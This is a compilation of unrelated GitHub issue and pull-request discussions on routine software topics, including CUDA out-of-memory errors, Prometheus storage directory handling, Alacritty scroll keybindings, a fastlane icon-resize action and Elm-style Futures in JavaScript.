Cuda Out Of Memory

Hello,
When I am feeding images to the decoder (which is 2nd step of training) Cuda Runs Out of Memory. How can i resolve this?
GPU:
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 516.94       Driver Version: 516.94       CUDA Version: 11.7     |
|-------------------------------+----------------------+----------------------+
| GPU  Name            TCC/WDDM | Bus-Id        Disp.A | Volatile Uncorr. ECC |
| Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. |
|                               |                      |               MIG M. |
|===============================+======================+======================|
|   0  NVIDIA GeForce ... WDDM  | 00000000:01:00.0 Off |                  N/A |
| N/A   44C    P8     3W /  N/A |    217MiB /  4096MiB |      1%      Default |
|                               |                      |                  N/A |
+-------------------------------+----------------------+----------------------+
+-----------------------------------------------------------------------------+
| Processes:                                                                  |
|  GPU   GI   CI        PID   Type   Process name                  GPU Memory |
|        ID   ID                                                   Usage      |
|=============================================================================|
|    0   N/A  N/A      6020    C+G   ...cw5n1h2txyewy\LockApp.exe    N/A      |
|    0   N/A  N/A      9352    C+G   ...e\PhoneExperienceHost.exe    N/A      |
|    0   N/A  N/A     21632    C+G   ...5n1h2txyewy\SearchApp.exe    N/A      |
|    0   N/A  N/A     22508    C+G   ...\app-1.0.9006\Discord.exe    N/A      |
|    0   N/A  N/A     23876    C+G   ...artMenuExperienceHost.exe    N/A      |
|    0   N/A  N/A     24972    C+G   ...Docker\Docker Desktop.exe    N/A      |
|    0   N/A  N/A     32224    C+G   ...p-0.4.7\Postman Agent.exe    N/A      |
|    0   N/A  N/A     36124    C+G   ...ontend\Docker Desktop.exe    N/A      |
|    0   N/A  N/A     39840    C+G   ...zpdnekdrzrea0\Spotify.exe    N/A      |
|    0   N/A  N/A     43884    C+G   ...2txyewy\TextInputHost.exe    N/A      |
|    0   N/A  N/A     45168    C+G   ...5n1h2txyewy\SearchApp.exe    N/A      |
|    0   N/A  N/A     49656    C+G   ...kyb3d8bbwe\Calculator.exe    N/A      |
|    0   N/A  N/A     91264    C+G   ...icrosoft VS Code\Code.exe    N/A      |
|    0   N/A  N/A    123876    C+G   ...<IP_ADDRESS>\GoogleDriveFS.exe    N/A      |
|    0   N/A  N/A    155692    C+G   ...5n1h2txyewy\SearchApp.exe    N/A      |
+-----------------------------------------------------------------------------+

I can confirm on Windows 10 and MacOS Catalina that removing the *.cuda() fixed this error on my computers.


Feature request: New ToggleType to require one child always be open

I have the need to prevent an ExpansionTileGroup from collapsing entirely so only one item is expanded at all times and if the title of the currently expanded item is tapped the tap is ignored.
Perhaps ToggleType.expandAlwaysCurrent?
Thank you in advance!

Hi @emaddoma , thank you for your feedback.
I will check it and inform you know when it ready.

Hi @emaddoma , the new version 1.2.4 is released. This ver has resolved your issue.
Please check it and please let me know if it works well for you.
Thank you for your feedback.
I'll close this issue

Perfection!  Thank you again.


Consider moving AdaptiveMaxPool3d -> AdaptivePool.max3d (and similar)

This is a general code cleanliness thing: it is not great style to have two classes that are not instantiable, with one inheriting from the other.
In this case, Adaptive{Avg,Max}Pool{1,2,3}d basically just provide custom initialisation for AdaptivePool, so we could consider moving them to a class constructor.
The same argument also applies to a few other NN layers like Conv, ConvTranspose, etc.
We could easily also set AdaptiveMaxPool3d = AdaptivePool.max3d to preserve backward compatibility.

I would love to work on this @patrick-kidger

So the main reason I've never done this is because users may be subclassing these classes themselves.
For that reason I'm inclined to just accept this wart and avoid making a compatibility break.

Ok got it; your reason is obviously valid.
On the flip side, I was thinking we could allow for some redundancy (to preserve compatibility as you stated prev) while we do a long term code migration across the breaking changes (if it's really worth it') :smiley:
In the meantime, I'll try to see other issues I can work on to get comfortable with the codebase. Thanks.


buckaroo upgrade doesn't upgrade source code

Description
buckaroo upgrade doesn't upgrade source code
Expected Behavior
when executing buckaroo upgrade some-dep, i expect buckaroo/github/user/some-dep to be upgraded to the latest release.
Actual Behavior
buckaroo/github/user/some-dep is not upgraded.
Steps to Reproduce

mkdir test && cd test && buckaroo quickstart
buckaroo install github+kindlychung/buckaroo-github-example
change kindlychung/buckaroo-github-example and publish a new release
change buckaroo.json so the version number is set to *.
buckaroo upgrade
cat buckaroo/github/kindlychung/buckaroo-github-example/sum.hpp to see that the content of this source file is not synced to the latest release.

Context
i was just trying to upgrade a dependency.
Your Environment

Version used: 1.4.1
Operating System and Architecture:
ubuntu 18.10
open jdk 8

I just tested it, and it look like buckaroo.lock.json is updated but the buckaroo folder is not. This is definitely a bug.
Work-around:
buckaroo upgrade
rm -rf ./buckaroo
buckaroo install

Buckaroo has a global cache, so it shouldn't take too long to re-install.


Showing custon data in results blocks

I see you can pass custom data to results and access it on hover or click using the callbacks but - what I  really need is to be able to just show that data in the match block without any user interaction.
What would be the best approach to this please?
I think something similar has been asked before but it was a while ago so not sure if anyone has done anything since. It would be a really useful addition!

You can use the decorator's render property to manipulate the elements inside each team nodes like so,
$('#demo').bracket({
    'decorator': {
        edit: edit_fn,
        render: render_fn
    }
});

/* Edit function is called when team label is clicked */
function edit_fn(container, data, doneCb) {
    var input = $('<input type="text">')
    input.val(data ? data : {})
    container.html(input)
    input.focus()
    input.blur(function() {
    var inputValue = input.val()
        if (inputValue.length === 0) {
            doneCb(null);
        } else {
            doneCb(data)
        }
    })
}

/* Render function is called for each team label when data is changed, data
 * contains the data object given in init and belonging to this slot.
 *
 * 'state' is one of the following strings:
 * - empty-bye: No data or score and there won't team advancing to this place
 * - empty-tbd: No data or score yet. A team will advance here later
 * - entry-no-score: Data available, but no score given yet
 * - entry-default-win: Data available, score will never be given as opponent is BYE
 * - entry-complete: Data and score available
 */
function render_fn(container, data, score, state) {
    // get the parent team container
    _parent = container.parents('div.team');

    // do any manipulation to any
    // child element inside parent team container
    // using data provided
    var el = $('<div class="new-element" />');
    el.appendTo(_parent);

    switch(state) {
    case "empty-bye":
        container.append("BYE")
        return;
    case "empty-tbd":
        container.append("TBD")
        return;
    case "entry-no-score":
    case "entry-default-win":
    case "entry-complete":
        container.append(data.team_name)
        return;
    }
}


FieldValue.arrayRemove doesn't work when using List of maps

There are two lists that we use one is a list of strings and the other one is a list of maps
String eventId = "1";
Map<String, dynamic> attendance = { "id": "1"};

await fakeFirestore.collection('events').doc(eventId).update({
    'attendanceIdList': FieldValue.arrayRemove([attendanceId]),
    'attendanceList': FieldValue.arrayRemove([attendance]),
});

This code is removing the attendanceId from attendanceIdList but it is not working when we remove attendance map from the list. Even though they are same as the collection

Fixed by #237 and released at  https://pub.dev/packages/fake_cloud_firestore/changelog#132.


Update Code Sponsor link position

@jayphelps When the link is found at the bottom of the README, it is more effective in helping funding this project.

Oh interesting. I assume that applies to all projects and this was based on what you're seeing for everyone?
My READMEs are often fairly long, and I figured most people wouldn't ever make it to the bottom.


Product search rebased

Product Search (v1p3beta1)
This Pull Request adds the code samples for cloud.google.com documentation for Product Search How-to Guides
Product Search How-to Guides –> vision/product-search/docs/how-to
products.js

[x] create_product
[x]  get_product
[x]  list_products
[x]  delete_product
[x]  update_product_labels

productSets.js

[x]  create_product_set
[x]  get_product_set
[x]  list_product_sets
[x]  delete_product_set

–> Products in productSets.js

[x]  add_product_to_product_set
[x]  list_products_in_product_set
[x]  remove_product_from_product_set

referenceImages.js

[x]  create_reference_image
[x]  get_reference_image
[x]  list_reference_images
[x]  delete_reference_image

similarProducts.js

[x]  get_similar_products_file
[x]  get_similar_products_uri

importProductSets.js

[x] import_product_images
This last sample has been newly added after looking into the python and Java samples for comparison.

For the canonical versions, please see the Python Product Search Samples in python-docs-samples
These samples are in Beta and require using the v1p3beta1 API endpoint:
const vision = require('@google-cloud/vision').v1p3beta1;
const client = new vision.ProductSearchClient();

Before being ready for review & merge:

[x] Tests and linter pass
[x] Code coverage does not decrease (if any source code was changed)
[ ] Appropriate docs were updated (if necessary) - working on this one - README is not getting updated with the Product Search code - looking into it.

@becca @JustinBeckwith
Please let me know if this makes more sense. Created a new branch - rebased and including all the Product Search related code. If this seems ok, will go ahead and close the old PR (https://github.com/googleapis/nodejs-vision/pull/192).

@nirupa-kumar @JustinBeckwith 👋 hey there! i think you might have pinged the wrong becca 😊

@beccataylor
I have fixed all the issues reported as part of https://github.com/googleapis/nodejs-vision/pull/192
There is one open issue with the Kokoro tests running , please have a look and let me know if there is anything else required.

LGTM w/ nits

@JustinBeckwith
Fixed the nits. Please approve.

Thanks!  There are still many instances of var.  Would you mind switching these to let / const?

Aaaaaaaannnnnnndddddd.... MERGED 🙌


All Map Reports - Selection based lower level information on clicking the Blocks, Clusters & Schools buttons

Purpose of the Feature
Selection based lower level metrics to be displayed on clicking the Blocks, Clusters & Schools buttons for all the map reports
Description of the Feature
The current Map reports are having the Blocks, Clusters & Schools buttons which displays the whole state information. Below are the proposed actions to be implemented for this feature

If the user is not selected any location then Blocks, Clusters & Schools buttons should display the whole state data.

If the user selected any location and clicks on the Blocks, Clusters & Schools buttons, Then the lower levels of the data should be displayed
For Example: If the user selected a District and click on the Blocks button, then the data should be displayed the blocks which are under the selected District
If user selected a District and Click on the clusters button, then the data should be displayed the Clusters which are under the selected District.
If user selected a District and Click on the Schools button, then the data should be displayed the Schools which are under the selected District.

The Same & higher level button should be disabled If the user selects the lower level location
For Example: If the user selected a Block then the Blocks button should be disabled.
If the user selected cluster then the Clusters button & The blocks button should be disabled.
If the User selected a School, then all the buttons should be disabled.

Effected Code Areas
DB,
NIFI,
Angular JS & Node JS

Added the new feature as per the requirement. Existing output files are used.


Docs need to be specific to windows users

In the docs i used dart_language_server instructions in linux normally from https://lsp.readthedocs.io/en/latest/ , however in windows they don't work, LSP plugin doesn't know and says that the file doesn't exist . An easy fix is to append the .bat extension at the end , or whatever extension is the language server
"command": [
    "PATH_TO_PUB_BIN/dart_language_server.bat"
  ],

I think that the docs should at least mention this for windows users

This issue should be easy to fix with the same logic as we use for node's .cmd wrappers, see here:
https://github.com/tomv564/LSP/blob/e2ad3be8dda4bca130a3fce08904c6bb42abaa42/plugin/core/process.py#L25
Would really like to avoid extra steps for windows users!


Add remote certificate validation callback on server

Add remote certificate validation callback on server.
It is possible to validate the CA certificate without having to install it on the machine.

Related: https://github.com/chkr1011/MQTTnet/issues/695

Thank you for your contribution. Good work 👍


Create resize_app_icon.rb

Resize a source 1024x1024 app icon image to all sizes in an .xcassets collection.

I am not an experienced Ruby developer, but have implemented this custom action I think would be useful to the overall community. Can anyone help clean this up to pass the tests and qualify to be merged?

hey @calebhicks this is awesome! i can definitely help get this going! i am going to pull down this branch and make a few changes, and then you can let me know what you think?

hey @calebhicks, could you share the code for the lane that you use to call this action? or a command line one-liner with options? or both? :smile:

Hey @ohwutup, thanks for taking a look!
The command is resize_app_icon and takes in two parameters:

The path to the original (source) icon file.
The path to the Assets.xcassets file to fill with the resized icons.

If you simply call resize_app_icon it will ask for the paths. But you can do so directly with the following:
resize_app_icon iconPath: /path/to/icon assetsPath: /path/to/xcassets
Or including the appropriate variation of the following in the Fastfile
resize_app_icon(
        iconPath: "#{bundle_path}/icon.png",
        assetsPath: "#{bundle_path}/Assets.xcassets"
        )

Hey @calebhicks, I have multiple *.appiconset because I have multiple targets, each icon appiconset is a different image used by a custom App.
And if instead of point to Assets.xcassets, you point to Icon.appiconset.

@hebertialmeida Great use case I hadn't considered. My use case involves using Fastlane instead of multiple targets. I combine this action with updating the Info.plist to accomplish the same as I would have done with a new target.
I will look into that use case and see if I can make a good fit.

Also, please add a description to Actions.md in the docs folder :+1:

Okay, so just tried this integration and it doesn't seem to work. You have to access parameters using params[:something]

@KrauseFx Updated locally per your notes.
As noted in the self.details, The action has a dependency on ImageMagick, do you have that installed? Is there a better place to note this dependency in the file? I will naturally include the dependency in the writeup in Actions.md.
PS. Thanks for all of your work on Fastlane. It's a life saver.

hey @calebhicks, just wanted to bump this up to see whats going on! thanks again for adding this in, were you able to update the Actions.md and make the changes @KrauseFx mentioned?

Hey @ohwutup I've been meaning to get on this, but I haven't been able to fix it yet. I'll try and get it wrapped up early next week and submit an updated PR.

awesome! thanks @calebhicks !

Hey @calebhicks - So I'm not sure if you seen, but fastlane is going to be moving over to a monorepo in order to better manage all of the tools. https://krausefx.com/blog/our-goal-to-unify-fastlane-tools We are looking to hopefully get this done by the end of the week. Do you think you will be able to make these changes before then? If not no worries at all, we will just ask that you fork the new repo once its live and submit your changes there. Thanks!! :octopus: :bullettrain_side: :rocket:

@ohwutup I did see that! Very exciting! If I don't get to it before the weekend, I will plan on doing it on the new repo.

Sweet! Thanks @calebhicks !!

Hey @calebhicks! Sorry for pinging you over and over on this PR, but we are going to be be getting everything ready for the monorepo today. Would it be cool with you if we closed this PR and we can resubmit it once the monorepo is up and running? Thanks!!

@ohwutup Closed! I'll get this pull request back in ASAP.

Thanks @calebhicks ! :100:


old jpn (JPN crashing issues)

white→black→errror

Does the top screen say "Process name: menu" or something else?
Double checked on my old JPN system and no issues found.

sorry
success!

thx!
https://yyoossk.blogspot.com/2023/07/3ds7cfw11170oldnew20237.html

Well i tried to do the walkthrough that you linked there and didnt work on my japanese 3ds for some weird reason @yyoossk


Add ind_to_const to enable fewer equivalence classes.

Resolves #4963

@stuartarchibald This patch seems to work for your test case and passes array analysis and parfor testing for me locally.  This is a moderately scary change.  Let me know what you think and how you want to progress.

Thanks for the patch @DrTodd13, much appreciated.

This is a moderately scary change. Let me know what you think and how you want to progress.

What are you most worried about? Getting the const var scopes right (local vs global)?

Thanks for the patch @DrTodd13, much appreciated.

This is a moderately scary change. Let me know what you think and how you want to progress.

What are you most worried about? Getting the const var scopes right (local vs global)?

I'm not worried about scoping.  It is just a feeling about the degree of the change in combination with what triggered it which is new kinds of nodes being exposed in ways which previously weren't.  Anytime you add some new data structure to this alias analysis code I think that is a significant change.  I thought that might be a more isolated change than forcing both vars and consts into the ind_to_var dict.

@DrTodd13 Added https://github.com/IntelLabs/numba/pull/65 which implements the above, if you are happy with it please merge and this PR can be considered complete! Thanks.


Convert counting software to run on Jetson Nano

[ ] Obtain Docker image with required packages
[ ] Test and alter counting algorithm from training/pysalmcount for Jetson Nano
[ ] Optimize running speed to run realtime at least 10 FPS

dusty-nv jetson containers might be helpful.


Automate WP DB Backups

Code is backed up all over the place, DB is not.
Suggestions:

https://wordpress.org/plugins/updraftplus/
https://wordpress.org/plugins/all-in-one-wp-migration/

Closed and migrated to main repo as it has nothing to do with theme: https://github.com/CodeForFoco/bike-coop/issues/33


ZipCodes could use Future instead of promises

I'm experimenting with elm-to-js as well (I guess you already know from twitter). I'm yet to switch to your union-types though:)
One thing that could be nice, taken that you/we are going down a functional rabbit hole, is to use fantasy land data types. Future could be nice for the ZipCodes example in particular (and really close to what is happening in the elm code). Using Future we can do it like here

I agree! I have started to play around with ramda-fantasy futures too. (I was the one that converted over the zipcodes example to snabbdom + flyd).  I was thinking of just wrapping XHR as described here, instead of an external library (superagent-future), but otherwise similar to your code.
The other hesitation I had was that Elm's Tasks seem more specialized than Futures to me and I wanted to understand them better. But if you want to open a PR, I'm sure @paldepind will give excellent feedback!

@ericgj @paldepind the problem with just wrapping XHR is that when we need to POST things or PUT things we'll have to write wrappers for those as well. Which will effectively end up being a new xhr library. super-agent future is actually my hack of superagent... I just tap into its .end method.
Elm's Tasks are quite similar to Futures.
|Task |  Future |Fantasy Land specification
----|----------------------------|------------------|--------------------------------
1 | succeed : a -> Task x a  | Future.of | pointed Functor
2 | fail : x -> Task x a  | Future.reject |
3 | map : (a -> b) -> Task x a -> Task x b | Future.map | Functor
4 | andMap : Task x (a -> b) -> Task x a -> Task x b | Future.ap (as far as I see it) | Apply (which together with 1 makes it an Applicative)
5 |  andThen : Task x a -> (a -> Task x b) -> Task x b | Future.chain | Chain (together with 1 makes it a Monad)
6 | sequence : List (Task x a) -> Task x (List a) | Nope:-( | Traverable
7 | onError : Task x a -> (x -> Task y a) -> Task y a | Future.chainReject |
8 | mapError : (x -> y) -> Task x a -> Task y a | Future.bimap() with identity passed to resolve branch |
9 | toMaybe : Task x a -> Task y (Maybe a) | Nope but could be done manually
10 | fromMaybe : x -> Maybe a -> Task x a | Nope, but could be done manually
11 | toResult : Task x a -> Task y (Result x a) | Nope, but...:-P |
12 | fromResult : Result x a -> Task x a | Nope and I'm not sure about the use case |
Then there are spawn and sleep that are quite esoteric for me (although it seems like spawn is something like fork...maybe) and a bunch of various arity maps that can be done manually. As Result is basically just a data type
data Result = Err String | Ok a

We can just return it from our .fork
At least that's how I see it.

Thanks for putting together this table, very useful. They are similar... if you squint  ,)
One difference is Elm Tasks don't have fork, as far as I understand the side effects are isolated to when ports are assigned tasks, which is where the chain would be triggered from. I could be wrong about that, I have only a superficial understanding of Elm code.  But I found this recent writeup about Elm tasks, ports, mailboxes, addresses, etc. helpful. Probably not something we need to worry about since we are already in messy javascript land and don't need an explicit port.
Another thing that confused me was the 'free' error type in the Task, how that would translate to JS, but I think that's so you can get from/to the Result Err type in fromResult and toResult.  I don't think it has any equivalent in dynamic JS land.
Re. spawn and sleep, looks like those are for executing tasks in a separate thread?
Anyway, it's up to @paldepind of course, but maybe you'd want to drop your code in as a separate example here -- zipcodes-with-futures or something?  Might be nice to have both a native-promise-based one as well as a fantasy-future one, to compare.

@ericgj I'm going to research into Elm threads and get back to you on spawn and sleep. I've been meaning to do it for quite a while.
Elm hides things like .runIO, .fork, and other 'unsafe' monad operations from user. In the same way as Haskell 'kind of' does it with main function. We don't have this luxury so the only way is to actually run fork at some point. I'm going to see if I can actually push the .fork down even further

Looking forward to seeing an implementation with Future.
:+1: on separate example.

Hello all!
I've just pushed a zip codes example that uses futures. I've also made a few other improvements to the example. For instance while a result is being loaded it is indicated with a text.
I'd love to hear your opinions on the example!

Nice!  I learned a lot reading through this.
I like the way your top-level update works. [State, [Future]] seems like a useful abstraction of a typical async task -- e.g. setting some immediate state and then triggering one or more requests which resolve to other actions. And it puts all the state changes together at the 'DOM adapter layer' instead of within the app itself. (It also kind of solves the problem @yelouafi mentioned in snabbdom/#14, although the patch function is pulled out here.)
Nice also to see ramda lenses in action.

Nice! I learned a lot reading through this.

Great. I'm happy to hear that.

[State, [Future]] seems like a useful abstraction of a typical async task -- e.g. setting some immediate state and then triggering one or more requests which resolve to other actions.

Thank you. I like it as well. Using an array makes it very easy to trigger multiple or zero actions. For instance if a component is initialized both the parent and a subcomponent might want to make requests.

It also kind of solves the problem @yelouafi mentioned in snabbdom/#14, although the patch function is pulled out here.

Yes. You're right. It does in fact. Calling the update function is handled in the top and one can only trigger async operations based on the current given state (which I think is sensible).

(It also kind of solves the problem @yelouafi mentioned in snabbdom/#14, although the patch function is pulled out here

Yes i was thinking of something similar to adapt from the Elm async solution. And it seems that the Effects concept of Elm maps quite naturally to Promises/Futures in JavaScript (Another possibility is to use reactive streams instead of Futures/Promises like flyd or Rx which makes it possible to trigger a stream of actions like a countdown a button).
The issue with deeply nested components can also be solved here: the future action bubbles up through parent components so they are able to wrap the 'Future Action' in another Future Action like they wrap 'normal actions' triggered from the view of child compnents (elm example of Pair of random GIF viewers).

The issue with deeply nested components can also be solved here: the future action bubbles up through parent components so they are able to wrap the 'Future Action' in another Future Action like they wrap 'normal actions' triggered from the view of child compnents (elm example of Pair of random GIF viewers).

Yeah. I wish I understood this better, it seems crucial.
In Elm,  Effects.map (which does this 'wrapping') looks like this
map : (a -> b) -> Effects a -> Effects b
map func effect =
  case effect of
    Batch effectList ->
        Batch (List.map (map func) effectList)

-- skipping Task, None and Tick effect types

Is that effectively the same as
// in a parent component update function
const [childState, childFutures] = childComponent.update(someAction, childState);
return [ R.set(childLens, childState), R.map( (future) => future.map(parentAction), childFutures ) ];

?
So essentially when the future resolves from the top, the result will be chained through actions from the originating component at the bottom, bubbling up to the top?
I have to see it to believe it...!

FYI, I tried out this future chaining to handle nested updates from HTTP requests (PR #16) -- it works great!


Use attribute for delete icon so it works in dark theme

Must have missed this one being raised - these are generally really easy to solve. Fixes #2083

:+1:


Prometheus doesn't ignore lost+found directory when bind mounting to container /prometheus

Hi, Great project.  I've just started using it and found an issue.
If you have a filesystem that you want to use for storing prometheus data and bind mount that entire filesystem to /prometheus then it won't start.
To work around it, you have to remove lost+found initially (which will be created by fsck) or create a directory beneath it and bind-mount from there.
i.e.
~$ docker run --name prometheus -p 9090:9090 -v /etc/prometheus/prometheus.yml:/etc/prometheus/prometheus.yml -v /var/lib/prometheus:/prometheus prom/prometheus
prometheus, version 0.15.1 (branch: stable, revision: 64349aa)
  build user:       @bfbdc5abbb9f
  build date:       20150727-15:58:57
  go version:       1.4.2
time="2015-08-03T05:51:44Z" level=info msg="Loading configuration file /etc/prometheus/prometheus.yml" file=main.go line=173
time="2015-08-03T05:51:44Z" level=error msg="Error opening memory series storage: could not detect storage version on disk, assuming version 0, need version 1 - please wipe storage or run a version of Prometheus compatible with storage version 0" file=main.go line=116

~ $ ls -l /var/lib/prometheus
total 16
drwx------ 2 root root 16384 Aug  3 04:54 lost+found

~$ rmdir /var/lib/prometheus/lost+found
~$ docker run --name prometheus -p 9090:9090 -v /etc/prometheus/prometheus.yml:/etc/prometheus
/prometheus.yml:/etc/prometheus/prometheus.conf  prom/prometheusprometheus, version 0.15.1 (branch: stable, revision: 64349aa)
  build user:       @bfbdc5abbb9f
  build date:       20150727-15:58:57
  go version:       1.4.2
time="2015-08-03T05:48:49Z" level=info msg="Loading configuration file /etc/prometheus/prometheus.yml" file=main.go line=173
time="2015-08-03T05:48:49Z" level=info msg="Loading series map and head chunks..." file=storage.go line=263
time="2015-08-03T05:48:49Z" level=info msg="0 series loaded." file=storage.go line=268
time="2015-08-03T05:48:49Z" level=info msg="Starting target manager..." file=targetmanager.go line=75
time="2015-08-03T05:48:49Z" level=info msg="Listening on :9090" file=web.go line=186
...

I assume it expects an empty directory.  But in some cases, you might want an empty file system.  In my case this is an ceph rbd volume but could equally be an nfs share or similar I suppose.

Indeed. If Prometheus finds anything in the directory but doesn't find the marker files it needs to establish sanity, it will show above behavior.
This conservative approach was taken because older versions did not have a VERSION file at all, so "anything but not a VERSION file == probably older storage version".
Not sure if we want to go less conservative here or require the directory to be truly empty. (You could use a sub directory on the Ceph or NFS share in your case.)

I would vote to be less conservative and ignore anything that won't be used, i.e. if the marker doesn't exist check whether anything would collide with the possible names used, but if it doesn't keep going.

I think we should be strict on this (though an exception for lost+found would be reasonable), as a user may try and have multiple things share the storage directory which would end badly and cause support effort for us.

I'm having the same problem. I've deleted lost+found and I'm using Prometheus v1.3.0.
Basically I was running Prometheus on Kubernetes with the /prometheus/data mounted from an persistent AzureDisk.
The AzureDisk went out of space so I brought it down and resized it and reattached it.
time="2017-03-02T10:00:09Z" level=info msg="Loading configuration file /etc/prometheus/prometheus.yml" source="main.go:247"
time="2017-03-02T10:00:09Z" level=error msg="Error opening memory series storage: could not detect storage version on disk, assuming version 0, need version 1 - please wipe storage or run a version of Prometheus compatible with storage version 0" source="main.go:181"

Please upgrade to 1.5.2. This has been fixed in the meantime.

@beorn7 I've upgraded to 1.5.2 and I'm getting the follow error now:
time="2017-03-10T07:04:18Z" level=error msg="Error opening memory series storage: readdirent: input/output error" source="main.go:182"

It cannot read a directory. Perhaps a permission problem? This doesn't seem to be a problem related to the original issue, but a configuration problem on your side. It makes way more sense to discuss this problem on the users mailing list as others can help you there and benefit from any solution provided.


Expanding selection using double click does not work under Microsoft Edge

Let's run the latest Substance on Edge and see if there are issues now.

Still the same.

Is it so that fouble click should select a word and triple click the whole node?

yep that would be ideal i think.

Turned out to be regression of the persisted selection impl on blur.


WIP: bisect MPI tests

The first commit in this PR should use https://github.com/ranocha/MPI.jl/commit/3029b58680620de8048c31471717422ff42648ce (Revert "add PrecompileTools")
It fails with
[ Info: Testset elixir_advection_amr.jl finished in 96.15187359500001 seconds.

Please see the FAQ page for debugging suggestions
Error: The operation was canceled.

https://github.com/trixi-framework/Trixi.jl/actions/runs/4958490670/jobs/8871419949?pr=1454#step:7:9635

The second commit should use https://github.com/ranocha/MPI.jl/commit/19bfa3c475eafe4e0954d2460b26ac7829e2a9c1 (Revert "more LoadTimeHookSetVal")

The fourth commit should use https://github.com/ranocha/MPI.jl/commit/61e5e6110e6d81aae4151647ce4635310ed81d59 (Revert "define operators for logical types (https://github.com/JuliaParallel/MPI.jl/pull/719)")

The fifth commit should use https://github.com/ranocha/MPI.jl/commit/f259e90e24736c3c96ff1411b091a37583f98abb (Revert "Transition GPU support to weak-deps and extensions)

All other commits between MPI.jl v0.20.8 and v0.20.9 only changed comments or documentation. I am quite confused...

Can be closed after #1316?

Maybe keep it open until we have gathered more experience with the new CI setup to really be sure that the issue is fixed?

Can be closed?


Fix code scanning alert - Prefer COPY over ADD

Ⅰ. Describe what this PR does
Fix code scanning alert - Replace ADD in Dockerfiles to COPY
Ⅱ. Does this pull request fix one issue?

fixes #4354
Ⅲ. List the added test cases (unit test/integration test) if any, please explain if no tests are needed.
Ⅳ. Describe how to verify it
Ⅴ. Special notes for reviews

@omerap12 Please don't change vendor/github.com/nxadm/tail/Dockerfile

@omerap12 Please don't change vendor/github.com/nxadm/tail/Dockerfile

Yeap, sorry :(


Seperate Admin and Store

Can we make the store and Admin seperate applications?
Because this situtation will cause scalability and performance problems in the future.

For simplify, we have chosen not separate and store-front and the admin. But if you want, you can do it with a little modification.

Make use of external storage: Azure Blob or AWS S3.
Deploy 2 applications and if you like you can prevent access or redirect  to admin or store-front

@EmreKarahan are you able to resolve the stuff?


homu uses branch pushes no "pull requests" for its tests

@homunkulus r+

:pushpin: Commit 9babb22 has been approved by japaric

:hourglass: Testing commit 9babb22 with merge 9babb22...

:pushpin: Commit 55e5671 has been approved by japaric

@homunkulus r+

:hourglass: Testing commit 55e5671 with merge 55e5671...

:sunny: Test successful - status-travis
Approved by: japaric
Pushing 55e5671105f18bfa12cdfbf35748a98270eae8f6 to master...


Email verification for new user

Pre-Requisites

[ ] Yes, I updated Authors.md OR this is not my first contribution
[ ] Yes, I included and/or modified tests to cover relevant code OR my change is non-technical
[ ] Yes, I wrote this code entirely myself OR I properly attributed these changes in Third Party Notices

Description of Changes

Using node-fetch to access users' emails from the GitHub API. We will check for ".edu" emails and make sure they have been verified. If they meet those requirements, then we will create a new user.
Related Issues

Closes #59

This code is ready for review, but the link seems like it's not working to retrieve emails (it was working until around 9 pm tonight). Now it returns a 404 "Not Found" message when I run the code. It also gives the 404 in insomnia so I think something might be wrong with the GitHub API. I am going to test it in the morning to see if it works.


Ui

Removes some code that was producing warnings on startup. The object to show project relevant information aboutQt was replaced with aboutAction, but not removed and is now causing a null action. The commit also removes the redundant "Number of Transactions" field, allowing more space for the icon and current network infomation.

Would also be good to lose the Latest Transaction field, as it doesn't fit, nor does is honour the locale setting, so the date is backwards for non-US users. (The fact that it is also in GMT is a source of confusion but a necessary one)

Ill take care of removing the Last Payment Time now from the overview, so no need to change the commit.

Thanks.


Clean up CI action to support Elixir 1.16

Thanks for your pull request. Before we can look at it, you'll need to add a 'DCO signoff' to your commits.
:memo: Please follow instructions in the contributing guide to update your commits with the DCO
Full details of the Developer Certificate of Origin can be found at developercertificate.org.
The list of commits missing DCO signoff:

b072fd1 Clean up CI action to support Elixir 1.16

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by:
Once this PR has been reviewed and has the lgtm label, please ask for approval from maciej-szlosarczyk. For more information see the Kubernetes Code Review Process.
The full list of commands accepted by this bot can be found here.

Needs approval from an approver in each of these files:

OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: antonsatin
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [antonsatin]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

LGTM label has been added.  Git tree hash: 9444a392cc54e8cb1e22b657b270eb1cf68c6436


Backend setup development and production variables Admin-App Sprint 1

setup development and production variables

@PrinceJK Great work


Change shift+pgup/pgdown to scroll history

The default shift+pgup/pgdown buttons were sending the escape sequences
specified by the official standard, however most terminal emulators like
XTerm, URxvt and VTE make an exception for this special case and instead
scroll the native history buffer.
Both XTerm and URxvt do never send the escapes for Shift+PgUp/PgDown,
however VTE does send them in the alternate screen.
Since Alacritty already supports keybindings based on terminal mode and
the binding to scroll the history is useless when in the alternate
screen buffer, Alacritty is now following VTEs behavior here, allowing
applications in the alt screen (like vim) to handle this escape.
Fixes #1989.

@chrisduerr  @jwilm
Is this fix in master? I am on 0.2.9 and I still get 2~2~ when I try to scroll up?

I'd recommend trying with the default config using alacritty --config-file /dev/null to see if it works for you or not.
If that resolves it there's likely an issue with your config (potentially due to duplicate entries).

@chrisduerr
I found the problem. There were old keybindings left in config file that were duplicating same bindings with different values. I removed my config and used a vanilla one and now it is fixed.
Thanks!


Query regarding deep storage

Hi,
I am evaluating Apache Pinot and wanted to understand the deep storage options while deploying on Azure. From the docs, it seems like Azure blob is not supported and Azure Data Lake Storage has to be used as the deep storage. Can you please confirm on the same.
Also is PinotFS the abstraction used for deep storage as well. The docs mention PinotFS in the context of importing data and hence this query.

Hi @mathewjpallan - these are really good questions for the #general channel in the Pinot Slack workspace.

@kkrugler I have raised it on slack and got responses. Will close this issue.


Configuration for discouraged-comment-location for allowing comments to be used as named args for Java code

I have some instances where I call Java methods that don't have the best API. They take lots of primitives (especially booleans) and I use comments as named arguments to help figure out what they are:
someJavaMethod(
  /*isEnabled*/ true,
  /*isChecked*/ false,
  /*isReadOnly*/ true,
  /*count*/ 1
)

however this violates discouraged-comment-location. Is there any way to configure that rule to allow this?

